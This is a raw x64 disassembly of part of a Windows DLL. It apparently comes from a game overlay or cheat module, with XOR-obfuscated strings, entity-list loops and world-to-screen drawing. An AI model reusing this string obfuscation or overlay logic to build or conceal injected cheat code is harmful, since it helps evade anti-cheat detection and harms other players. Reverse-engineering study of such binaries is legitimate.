movups xmmword [rbp + 0x2db0], xmm0
movups xmm0, xmmword [0x1801c4160]
movups xmmword [rbp + 0x2dc0], xmm1
movups xmmword [rbp + 0x2dd0], xmm0
cmp r12d, 2
jl 0x1800a215b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2db4]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x1800a2060
cmp r8d, 0x33
jge 0x1800a21a4
movsxd rax, r8d
lea r9, [rbp + 0x2db0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x1800a2170
lea r8, [rbp + 0x2db0]
mov edx, 2
lea rcx, [rbp + 0x7180]
call fcn.1800641d0
lea rcx, [rbp + 0x7180]
call fcn.18006f4e0
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa98]
call fcn.180016840
cmp byte [0x1801c4189], r14b
movups xmm1, xmmword [str.tEQW_eQR]
movss xmm0, dword [rax]
movzx eax, word [0x1801c4188]
mov word [rbp + 0x2170], ax
movss dword [rbp + 0xaa0], xmm0
mov dword [rbp + 0xaa4], 0x42200000
movups xmmword [rbp + 0x2160], xmm1
je 0x1800a2384
mov r8d, r14d
cmp r12d, 2
jl 0x1800a233c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2164]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a2241
cmp r8d, 0x12
jge 0x1800a2384
movsxd rax, r8d
lea r9, [rbp + 0x2160]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a2350
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x2160]
call fcn.180002c70
test al, al
je 0x1800a24b7
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a24b7
mov rax, qword [0x18024b0a8]
mov r13, qword [rax + 0x10]
test r13, r13
je 0x1800a24b0
mov r12, qword [r13 + 0x188]
mov r15d, r14d
movsd xmm0, qword [rcx + 0x90]
mov eax, dword [rcx + 0x98]
movsd qword [rsp + 0x70], xmm0
mov dword [rsp + 0x78], eax
test r12, r12
je 0x1800a24a9
movss xmm6, dword [rsp + 0x78]
mov rsi, r14
movss xmm7, dword [rsp + 0x74]
movss xmm8, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r13 + 0x180]
mov rdi, qword [rsi + rax]
test rdi, rdi
je 0x1800a249a
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18024b0a0]
cmp qword [rax + 0xd0], r14
je 0x1800a249a
mov byte [rsp + 0x30], 1
movaps xmm3, xmm6
mov byte [rsp + 0x28], r14b
movaps xmm2, xmm7
movaps xmm1, xmm8
mov byte [rsp + 0x20], r14b
mov rcx, rdi
call qword [0x180249248]
inc r15d
add rsi, 0x10
movsxd rax, r15d
cmp rax, r12
jb 0x1800a2440
mov r12d, dword [reloc.WS2_32.dll_accept]
mov r13, 0xffffffffffffffff
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xaa8]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [str.l__B]
movss dword [rbp + 0xab0], xmm0
movsd xmm0, qword [0x1801c4190]
mov dword [rbp + 0x18d8], eax
movzx eax, byte [0x1801c419c]
movsd qword [rbp + 0x18d0], xmm0
mov byte [rbp + 0x18dc], al
mov dword [rbp + 0xab4], 0x42200000
cmp r12d, 2
jl 0x1800a260b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4190]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18d0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18d4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18d0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a2620
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0x18d0]
call fcn.180002c70
test al, al
je 0x1800a2793
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a2793
mov rax, qword [0x18024b0a8]
mov r15, qword [rax + 0x10]
test r15, r15
je 0x1800a2793
mov r12, qword [r15 + 0x188]
mov esi, r14d
movsd xmm0, qword [rcx + 0x90]
mov eax, dword [rcx + 0x98]
movsd qword [rsp + 0x70], xmm0
mov dword [rsp + 0x78], eax
test r12, r12
je 0x1800a278c
movss xmm6, dword [rsp + 0x78]
mov rdi, r14
movss xmm7, dword [rsp + 0x74]
movss xmm8, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r15 + 0x180]
mov rbx, qword [rdi + rax]
test rbx, rbx
je 0x1800a277e
mov r8, qword [0x18024b0a0]
lea rcx, [0x18024b4e0]
mov r9b, 1
mov byte [rsp + 0x20], r14b
mov rdx, rbx
call fcn.1800ae6e0
mov byte [rsp + 0x30], 1
movaps xmm3, xmm6
mov byte [rsp + 0x28], r14b
movaps xmm2, xmm7
movaps xmm1, xmm8
mov byte [rsp + 0x20], r14b
mov rcx, rbx
call qword [0x180249248]
mov r8, qword [0x18024b0a0]
lea rcx, [0x18024b4e0]
mov r9b, 1
mov byte [rsp + 0x20], 1
mov rdx, rbx
call fcn.1800ae6e0
inc esi
add rdi, 0x10
movsxd rax, esi
cmp rax, r12
jb 0x1800a2710
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xab8]
call fcn.180016840
cmp byte [0x1802494b8], r14b
movss xmm0, dword [rax]
movss dword [rbp + 0xac0], xmm0
mov dword [rbp + 0xac4], 0x42200000
je 0x1800a293e
mov eax, dword [0x1801c41a8]
mov r8d, r14d
movsd xmm0, qword [0x1801c41a0]
mov dword [rbp + 0x18e8], eax
movzx eax, byte [0x1801c41ac]
mov byte [rbp + 0x18ec], al
movsd qword [rbp + 0x18e0], xmm0
cmp r12d, 2
jl 0x1800a28f4
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c41a0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18e0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18e4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18e0]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a2901
lea rcx, [rbp + 0x18e0]
jmp 0x1800a29b2
cmp byte [0x1801c41b9], r14b
movsd xmm0, qword [str.t_YZQSSQ__]
movzx eax, word [0x1801c41b8]
movsd qword [rbp + 0xff8], xmm0
mov word [rbp + 0x1000], ax
je 0x1800a29ab
xor byte [rbp + 0xff9], 0x37
xor byte [rbp + 0xffa], 0x38
xor byte [rbp + 0xffb], 0x39
xor byte [rbp + 0xffc], 0x3a
xor byte [rbp + 0xffd], 0x3b
xor byte [rbp + 0xffe], 0x3c
xor byte [rbp + 0xfff], 0x3d
xor byte [rbp + 0x1000], 0x3e
xor byte [rbp + 0x1001], 0x3f
mov byte [rbp + 0xff8], 0x42
lea rcx, [rbp + 0xff8]
lea rdx, [rbp + 0xac0]
call fcn.180002c70
test al, al
je 0x1800a29d4
cmp byte [0x1802494b8], r14b
sete al
mov byte [0x1802494b8], al
jmp 0x1800a29db
movzx eax, byte [0x1802494b8]
test al, al
je 0x1800a2a25
mov rax, qword [0x180249270]
mov r9, qword [rax]
test r9, r9
je 0x1800a2a25
movsxd rdx, dword [0x18024b4f8]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a2a25
mov qword [0x1802494b0], rcx
lea rcx, [rbp + 0x3100]
call fcn.180068dd0
call fcn.180006c20
call fcn.180013d50
movss xmm6, dword [0x1801c6d20]
movsd xmm7, qword [0x1801c6d50]
movss xmm8, dword [0x1801ad7f0]
jmp 0x1800a2a5f
movss xmm9, dword [0x1801ad7d4]
cmp dword [0x18024dbfc], 1
jne 0x1800a503e
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xac8]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0xac8], 0x43520000
movss dword [rbp + 0xacc], xmm0
call fcn.180025700
mov eax, dword [0x1801c41bc]
lea rdx, [rbp + 0xad0]
mov dword [rbp + 0x98], eax
lea rcx, [rbp + 0x98]
movzx eax, byte [0x1801c41c0]
xor r9d, r9d
xor byte [rbp + 0x99], 0x37
xor al, 0x3a
xor byte [rbp + 0x9a], 0x38
xor r8d, r8d
xor byte [rbp + 0x9b], 0x39
mov byte [rbp + 0x9c], al
mov dword [rbp + 0xad0], 0x43a50000
mov dword [rbp + 0xad4], 0x4405c000
mov byte [rbp + 0x98], Ordinal_79
call fcn.18000fcc0
mov eax, dword [str.rV35B]
mov r8d, r14d
movsd xmm0, qword [0x1801c41c8]
mov dword [rbp + 0x18f8], eax
movzx eax, byte [0x1801c41d4]
mov byte [rbp + 0x18fc], al
mov dword [rbp + 0xad8], 0x43a00000
mov dword [rbp + 0xadc], 0x43ed8000
movsd qword [rbp + 0x18f0], xmm0
cmp r12d, 2
jl 0x1800a2c35
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c41c8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18f0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18f4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a2c50
xor r9d, r9d
lea rdx, [rbp + 0xad8]
mov r8b, 1
lea rcx, [rbp + 0x18f0]
call fcn.180003d00
mov eax, dword [str.XV_51D]
mov r8d, r14d
movsd xmm0, qword [0x1801c41d8]
mov dword [rbp + 0x1c68], eax
movzx eax, word [0x1801c41e4]
mov word [rbp + 0x1c6c], ax
movzx eax, byte [0x1801c41e6]
mov byte [rbp + 0x1c6e], al
movsd qword [rbp + 0x1c60], xmm0
cmp r12d, 2
jl 0x1800a2dce
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c41d8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c60], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a2de0
mov qword [rsp + 0x28], r14
lea rdx, [0x18024dd90]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8d, 0x40
lea rcx, [rbp + 0x1c60]
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
cmp byte [0x1801c41ef], r14b
mov rax, qword [str._RPPYWY]
mov qword [rbp + 0xae8], rax
mov dword [rbp + 0xae0], 0x43b90000
mov dword [rbp + 0xae4], 0x43c58000
je 0x1800a2fb4
cmp r12d, 2
jl 0x1800a2f6b
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xae8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0xae8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xaec]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xaec], xmm2
jmp 0x1800a2fb4
lea r9, [rbp + 0xae8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800a2f80
xor r9d, r9d
lea rdx, [rbp + 0xae0]
mov r8b, 1
lea rcx, [rbp + 0xae8]
call fcn.18000fcc0
cmp qword [0x18024b0a0], r14
je 0x1800a3258
mov rax, qword [0x180249278]
mov r15, qword [rax]
test r15, r15
je 0x1800a3258
mov r15, qword [r15 + 0x10]
test r15, r15
je 0x1800a3258
mov r12, qword [r15 + 0x188]
mov r15, qword [r15 + 0x180]
test r15, r15
je 0x1800a3251
mov ebx, r14d
test r12, r12
je 0x1800a3251
nop dword [rax]
mov rsi, qword [r15]
test rsi, rsi
je 0x1800a323f
mov rsi, qword [rsi + 0x20]
mov edx, ebx
lea rcx, [rbp + 0x91a5]
test ebx, ebx
jns 0x1800a304c
neg edx
call fcn.180058bc0
dec rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_45
jmp 0x1800a3051
call fcn.180058bc0
lea r9, [rsp + 0x40]
mov rdx, rax
lea r8, [rbp + 0x91a5]
lea rcx, [rbp + 0x2890]
call fcn.1800537c0
cmp qword [rbp + 0x28a8], 0xf
lea rdi, [rbp + 0x2890]
movzx eax, word [0x1801c41f0]
cmova rdi, qword [rbp + 0x2890]
cmp byte [0x1801c41f1], r14b
mov word [rsp + 0x60], ax
je 0x1800a30a2
xor byte [rsp + 0x61], 0x37
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp + 0x28c0], r14
movups xmmword [rbp + 0x28b0], xmm0
lea r8, [rbp + 0x28b0]
mov byte [rbp + 0x28b0], r14b
lea rdx, [rsi + 0x298]
mov qword [rbp + 0x28c8], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x28d0]
call fcn.180054750
lea rcx, [rsp + 0x60]
mov r8, r13
inc r8
cmp byte [rcx + r8], r14b
jne 0x1800a30e7
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.180073ca0
mov qword [rbp + 0x2900], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x28f0], xmm0
mov qword [rbp + 0x2908], r14
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2900], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
nop dword [rax]
inc r8
cmp byte [rdi + r8], r14b
jne 0x1800a3140
mov rdx, rdi
lea rcx, [rbp + 0x28f0]
call fcn.180073ca0
mov qword [rbp + 0x30b0], r14
lea rcx, [rbp + 0x28f0]
mov qword [rbp + 0x30b8], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x30a0], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
call fcn.180068dd0
lea rcx, [rbp + 0x28d0]
call fcn.180068dd0
lea rcx, [rbp + 0x28b0]
call fcn.180068dd0
lea rcx, [rbp + 0x2890]
call fcn.180068dd0
cmp qword [rbp + 0x30b8], 0xf
lea rcx, [rbp + 0x30a0]
lea rdx, [0x18024dd90]
cmova rcx, qword [rbp + 0x30a0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1800a3233
cmp dword [0x18024b4e8], ebx
lea rcx, [rbp + 0x30a0]
lea r9, [rbp + 0xaf0]
mov dword [rbp + 0xaf0], r14d
sete dl
mov dword [rbp + 0xaf4], r14d
cmp qword [rbp + 0x30b8], 0xf
cmova rcx, qword [rbp + 0x30a0]
xor r8d, r8d
call fcn.180008320
test al, al
je 0x1800a3233
mov dword [0x18024b4e8], ebx
lea rcx, [rbp + 0x30a0]
call fcn.180068dd0
inc ebx
add r15, 0x10
movsxd rax, ebx
cmp rax, r12
jb 0x1800a3020
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180013d50
call fcn.180006c20
call fcn.180013d50
mov ecx, dword [0x18024b4e8]
cmp ecx, 0xffffffff
je 0x1800a327a
mov dword [0x18024b4fc], ecx
jmp 0x1800a3280
mov ecx, dword [0x18024b4fc]
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x1800a353d
mov rax, qword [0x180249278]
mov rdx, qword [rax]
test rdx, rdx
je 0x1800a353d
mov rax, qword [rdx + 0x10]
test rax, rax
je 0x1800a353d
mov rax, qword [rax + 0x180]
shl ecx, 4
movsxd rcx, ecx
mov rsi, qword [rcx + rax]
test rsi, rsi
je 0x1800a353d
call fcn.1800178d0
mulsd xmm0, xmm7
mov edi, r14d
cvtsd2ss xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm13, dword [0x1801b3ef0]
lea r15, [0x18024b4e0]
mov rbx, qword [0x1802492c0]
movaps xmm12, xmm0
addss xmm12, dword [0x1801ad7c4]
movss xmm15, dword [0x1801b3edc]
movdqa xmm14, xmmword [0x1801c71c0]
mulss xmm12, dword [0x1801ad7b8]
nop dword [rax + rax]
movsd xmm7, qword [rsi + 0x90]
lea eax, [rdi + 1]
movd xmm11, eax
cvtdq2ps xmm11, xmm11
movd xmm9, edi
cvtdq2ps xmm9, xmm9
mulss xmm11, xmm8
mulss xmm9, xmm8
mulss xmm11, xmm6
mulss xmm9, xmm6
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movss xmm10, dword [rsi + 0x98]
movaps xmm6, xmm7
mulss xmm0, xmm12
subss xmm10, xmm13
movsd qword [rsp + 0x70], xmm7
shufps xmm6, xmm6, 0x55
movaps xmm7, xmm6
addss xmm10, dword [0x1801b905c]
addss xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
movaps xmm8, xmm0
movaps xmm0, xmm9
mulss xmm8, xmm12
addss xmm8, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm12
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x2f60]
mov rcx, r15
movss dword [rbp - 0x3c], xmm7
movss dword [rbp - 0x38], xmm10
addss xmm0, dword [rsp + 0x70]
movss dword [rbp - 0x40], xmm0
call fcn.1800eaec0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cosf
mulss xmm0, xmm12
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x2f68]
mov rcx, r15
movss dword [rsp + 0x54], xmm8
movss dword [rsp + 0x58], xmm10
addss xmm0, dword [rsp + 0x70]
movss dword [rsp + 0x50], xmm0
call fcn.1800eaec0
movss xmm3, dword [rbp + 0x2f60]
xorps xmm4, xmm4
comiss xmm3, xmm4
jb 0x1800a34d6
movss xmm0, dword [rbp + 0x2f64]
comiss xmm0, xmm4
jb 0x1800a34d6
movss xmm1, dword [rbp + 0x2f68]
comiss xmm1, xmm4
jb 0x1800a34d6
movss xmm2, dword [rbp + 0x2f6c]
comiss xmm2, xmm4
jb 0x1800a34d6
comiss xmm3, xmm15
jb 0x1800a34d6
comiss xmm0, xmm15
jb 0x1800a34d6
movss xmm4, dword [rbx]
comiss xmm4, xmm3
